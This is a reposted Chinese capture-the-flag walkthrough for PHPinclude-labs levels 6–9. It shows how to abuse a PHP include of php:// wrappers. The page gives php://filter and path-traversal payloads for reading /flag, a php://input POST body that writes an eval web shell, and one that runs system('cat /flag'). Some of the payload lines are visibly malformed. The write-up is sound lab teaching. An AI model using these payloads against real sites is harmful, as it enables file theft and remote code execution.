欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 旅游 > [HelloCTF]PHPinclude-labs超详细WP-Level 6Level 7Level 8Level 9-php://协议

[HelloCTF]PHPinclude-labs超详细WP-Level 6Level 7Level 8Level 9-php://协议

2025/3/24 16:11:33 来源:https://blog.csdn.net/qq_39673370/article/details/146355272  浏览:    关键词:[HelloCTF]PHPinclude-labs超详细WP-Level 6Level 7Level 8Level 9-php://协议

由于Level 6-9 关的原理都是通用的, 这里就拿第6关举例, 其他的关卡同理

源码分析

  • 定位到代码 isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';

  • 与前几关发生变化的就是 php://

解题分析

  • 这一关要求我们使用 php协议

  • php:// 协议

    • php://filter

      • 参数

      • 过滤器

      • 示例

        • index.php?file1=php://filter/read=convert.base64-encode/resource=flag.php
          
    • php://input

      • 依赖 allow_url_include:On

      • 可以访问请求的原始数据的只读流,将 POST 请求的数据当作 php 代码执行

      • http://127.0.0.1/include.php?file=php://input
        [POST DATA部分]
        <?phpfputs(fopen('a.php','w'), <?php @eval($ GET[cmd]); ?>'); ?>
        
      • 可以用于直接传入文件内容, 而不是文件名

  • 看完上述对 php协议 的介绍应该有解题思路吧, 下文通过两种方式演示一下

解题步骤

php://filter

  • 因为题目已经加上了 php://, Payload 就不需要再写了

  • php:// 后面跟上 filter/read=

    • 使用 read 读取文件
  • read= 后面跟上过滤器 convert.base64-encode

    • 将结果进行 base64编码

    • 这里是可以防止被过滤, 或者要输出PHP文件等情况, 这一题当然可以不使用

  • 接着在 convert.base64-encode 跟上 /resource=../../../../../../flag(如果不是用过滤器的话, 直接在read= 后面跟上)

    • 这里通过 ../ 的叠加, 强行回到根目录, 方便后续进行路径访问
  • 完整 Payload

    • ?wrappers=filter/read=/resource=../../../../../../../flag
      

php://input

  • 这里是把 POST 请求数据当成 PHP 代码执行

  • 在 GET 传参中, 只需要传入 input 即可, 因为题目已经有了 php://

  • 接着 POST 请求传入要执行的代码

    • <?php system("cat /flag"); ?>'); ?>
      

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词